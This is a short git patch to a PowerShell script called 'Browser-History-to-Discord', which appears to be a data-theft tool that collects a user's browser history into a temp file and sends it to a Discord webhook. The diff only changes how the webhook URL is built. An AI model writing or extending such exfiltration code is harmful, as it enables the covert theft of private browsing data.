From 416d39a437cfad7d9a77500a9ce8e0f33bc99a93 Mon Sep 17 00:00:00 2001 From: egieb <93350544+beigeworm@users.noreply.github.com> Date: Thu, 19 Jun 2025 16:44:29 +0000 Subject: [PATCH] Update main.ps1 --- Browser-History-to-Discord/main.ps1 | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/Browser-History-to-Discord/main.ps1 b/Browser-History-to-Discord/main.ps1 index 37a2815..a157376 100644 --- a/Browser-History-to-Discord/main.ps1 +++ b/Browser-History-to-Discord/main.ps1 @@ -1,5 +1,7 @@ - -$whuri = ("https://discord.com/api/webhooks/" + "$dc") +$whuri = "$dc" +if ($whuri.Length -lt 120){ + $whuri = ("https://discord.com/api/webhooks/" + "$dc") +} $outpath = "$env:temp\browser_history.txt" "Browser History `n -----------------------------------------------------------------------" | Out-File -FilePath $outpath -Encoding ASCII